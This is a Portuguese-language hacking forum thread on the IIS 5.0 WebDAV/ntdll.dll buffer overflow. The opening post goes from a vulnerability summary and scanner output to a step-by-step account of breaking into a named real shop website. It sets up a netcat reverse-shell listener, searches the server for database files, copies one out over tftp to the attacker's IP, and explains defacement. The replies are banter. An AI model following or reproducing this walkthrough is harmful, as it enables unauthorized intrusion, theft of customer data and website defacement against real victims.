Estouro remoto de buffer no WebDAV/ntdll.dll para IIS 5.0

Started by oniarce, 28 de December , 2007, 05:23:43 PM

Previous topic - Next topic

0 Members and 1 Guest are viewing this topic.

oniarce

Estouro remoto de buffer no WebDAV/ntdll.dll para IIS 5.0
    O servidor de web da Microsoft para o Windows 2000, IIS 5.0 inclui suporte para WebDAV, que permite a usuários manipular arquivos salvos em um servidor web. Uma falha de estouro de buffer existe no arquivo ntdll.dll (um pedaço do código utilizado pelo WebDAV do IIS).         Enviando um "pacote especial" para um servidor IIS 5.0, um atacante pode executar código arbitrário, dando ao invasor praticamente o controle total do sistema.
    Essa falha foi descoberta no dia 18 de março de 2003,é muito grave e milhões de computadores estão vulneráveis. Há relatos de que até a página do exército americano foi invadida utilizando esse problema. Somente o servidor IIS 5.0 é afetado, o IIS 4.0 (para Windows NT 4.0) não possui o problema. Uma pequena visão do que pode ser explorado:
 
Alguns comandos utilizados pelo WebDAV que podem ser explorados:
SEARCH
PROPFIND
MKCOL
LOCK
COPY
O SensePost Research [http://www.sensepost.com/] fez uma ferramenta de scanneamento de WebDAV em Perl:
Uso típico:
> perl finder.pl www.sitequalquer.com.br 80
Testing WebDAV methods [www.sitequalquer.com.br 80]
-------------------------------------
www.sitequalquer.com.br : Server type is Microsoft-IIS/5.0
Method PROPFIND seems to be allowed - WebDAV possibly in use
Method PROPPATCH seems to be allowed - WebDAV possibly in use
Method MCOL seems to be allowed - WebDAV possibly in use
Method PUT seems to be allowed - WebDAV possibly in use
Method DELETE seems to be allowed - WebDAV possibly in use
Method LOCK seems to be allowed - WebDAV possibly in use
Method UNLOCK seems to be allowed - WebDAV possibly in use

No exemplo acima do site fictício http://www.den1ed.hpg.ig.com.br/index.htm#, ele é vulnerável a todas os comandos falhos de WebDAV. Vamos fazer um teste no nosso http://www.den1ed.hpg.ig.com.br/index.htm#.
> perl finder.pl www.ownedyou.org 80
Testing WebDAV methods [www.ownedyou.org 80]
-------------------------------------
www.ownedyou.org : Server type is Microsoft-IIS/5.0
Method PROPFIND is not allowed
Method PROPPATCH is not allowed
Method MCOL is not allowed
Method PUT is not allowed
Method DELETE is not allowed
Method LOCK is not allowed
Method UNLOCK is not allowed

Nada vulnerável agora. O script finder.pl está disponível [aqui]. Para utilizá-lo é necessário o compilador Perl.
Pensando nas pessoas que não têm muita familiaridade com a linguagem Perl, eu achei uma ferramenta comum que checa essas falhas em modo gráfico e lhe diz apenas o importante: se o sistema é vulnerável ou não. É o ChWebDav (Checa WebDav).

 



ChWebDav em ação. Download [aqui] (171k)
 
Para maiores informações técnicas sobre a falha, ler (em inglês):
http://www.ngssoftware.com/papers/ms03-007-ntdll.pdf

Patch de segurança da Microsoft para o Windows 2000 disponível em:
http://www.microsoft.com/downloads/deta ... Lang=en%20
 
Bem, agora que você já sabe mais ou menos o que é o bug do componente do webdav, vou mostrar a vocês fotos e passos de um site sendo invadido por WebDav.
Antes você precisa de alguns arquivos para poder explorar a vulnerabilidade do WebDav:
Finder.pl (Webdav Scanner) ou algum que tenha a mesma função. Serve para scaniar sites vulneráveis a este bug.
wb.exe (exploit do webdav) ou algum parecido, no meu caso eu não uso este, usou outro que foi codado por alguns amigos gringos.
Netcat (Shell Reverso) Precisa dele para que o exploit crie uma Shell Espelho entre o server own e a sua máquina.
Tftpd32 Programa para enviar/receber arquivos entre o Local Host e o Remote Host, ou seja entre sua máquina e o server own.
Agora que você já conhece os programas necessários para conseguir ownar pelo bug do webdav, vou mostrar a vocês passo à passo, um ataque feito ao site: http://www.blacktiecigars.com/
Primeira Ação:
Rodei o netcat pelo mirc e botei ele para ¨escutar¨ na porta 666. mas como? * /RUN NC -L -V -P 666 irá aperecer esta tela:
 


Segunda Ação: Rodar o exploit e atacar o meu alvo, no caso: http://www.blacktiecigars.com/ irá aparecer esta tela:
 

Agora vamos tentar entender o que é cada uma destas opções do programa:
target: vai ser o meu alvo, no caso http://www.blacktiecigars.com/
padding: vai ser, o código arbitrário(Buffer Overflow) que irá variar entre 1 a 254.
satan's ip: o ip que está sendo rodado o netcat, no caso, o meu ip.
satan's port: a porta onde o satan's ip está sendo rodado, no caso, vai ser a porta 666.
custom pads: o próprio nome já diz, se voce tem +/- uma idéia de qual vai ser o póssivel pad(código arbitrário) você põe lá para agilizar o processo.
status: é o log de como está acontecendo o ataque, e também mostrando o código que está sendo utilizado no momento.
Bem, depois que eu ataquei o meu alvo, provavelmente eu vou conseguir invadir o sistema. Caso o site esteja realmente com o bug do webdav vai aparecer esta tela no Netcat:

 

Se aparecer esta tela, você está dentro do sistema.
Sim, den1ed, agora eu estou dentro do sistema, e agora, o que eu faço para ownar, ou melhor, como eu faço para achar um mdb dentro do sistema.. Muito fácil, basta voce ir ao diretorio c:\ e digitar isso, dir /s *.mdb
Terceira Ação:
Daí depois que você achar o diretório onde se encontra a mdb.. vá até ela. Depois que você achar o .mdb você inicializa o programa Tftpd32.
quando voce inicializar.. vai aparecer esta tela:

 


Depois que aparecer esta tela, você vai até o netcat e digita o seguinte comando: tftp -i seuip PUT arquivo.mdb
Quarta Ação: No meu caso eu digitei: tftp -i 200.164.222.212 PUT shopping450.mdb
Após digitar isso, se tudo der certo, vai aparecer a seguinte tela no netcat:


 


Neste momento feliz, você provavelmente vai estar baixando a mdb.
E no Tfpd32 vai aparecer as seguintes frases(na minha invasão apareceu isto):
Connection Received from 24.247.187.237(IP DO ALVO) on port 3965
Write request for file . Mode octet
: rcvd 1689 blks, 864256 bytes in 1078 s. 0 blk resent
Veja a figura:

 


Base Directory: c:\
Eu apaguei o meu diretório base. mas no caso, era o c:\
OBS: Para você fazer um deface no seu alvo, as ações executadas irão funcionar do mesmo jeito, mas, em vez de voce colocar, PUT voce poe GET e o nome do arquivo que você queira enviar ao server own, no caso para que tudo aconteca de forma correta, coloque os arquivos do tftpd32 e o netcat, dentro da mesma pasta, e os arquivos que você queira enviar para o server own tambem, na mesma pasta. E configure o Tftpd32 na mesma pasta em que eles se encontram.

Desculpe mas as imagens estavam com erro.

Wuefez

AUHAUHSHUSUHSAHUS

DAV! Se liga esse bug é de 2003, em 2004 quando eu ownava com ele, ja era bug velhão......

Na lista de grandes bugs velhos pra ownar server Windows, DAV so fica atras de Unicode e antes de PDW.....


"Quem fala não faz."

oniarce

Eu sei, mas o fato de nos (iniciantes) estarmos aqui é para adquirir um conhecimento básico de como as coisas são.


Como faser coisas complexas se nem ao menos nós (iniciantes)  sabemos nem o mais simples ?

wtfnicked

http://www.invasao.com.br/coluna-marcos-07.htm

Podia ter postado o site de onde tirou grande parte da informação né?
Você esqueceu de colocar o link para o finder.pl dai ter encontrado esta informação no site do invasão.
"If you know the enemy and know yourself, you need
not fear the result of a hundred battles." – Sun Tzu, Art of War

oniarce

Mas eu não tirei do invasao não.


éra um site estranho que eu não lembro o Link, por que se eu soubesse o link eu postaria, não sou plágilador (nem sei se esta palavra existe)
  >:( >:( >:( >:(

Reeves

  °vº   NÃO USE DROGAS,
/(_)\  USE GNU/LINUX
^ ^

larternahack

Quote from: "Wuefez"AUHAUHSHUSUHSAHUS

DAV! Se liga esse bug é de 2003, em 2004 quando eu ownava com ele, ja era bug velhão......

Na lista de grandes bugs velhos pra ownar server Windows, DAV so fica atras de Unicode e antes de PDW.....
Cara só te vejo ferrando os topicos da galera,vc parece o "Pedro de Lara"!
Ta com raiva da vida?
ahahahahahahahhahahahahahahahahahaahahahahhaahhaahahah!!!!

oniarce

Uma coisa eu tenho certeza neste fórum.
É que aqui só tem gente que sabe reclamar e não faz nada para melhorar as coisas.
Se liga, se não é para melhorar não atrapalha.
Criticas são saudáveis quando vem acompanhada de sugestões



Desculpem pela minha arrogância e grosseira.



Eu estive pensando aqui em casa, muitas pessoas reclamam dos erros de ortografia, uma idéia que eu tive é que colocassem um corretos de ortografia, seria muito legal.


Abraço.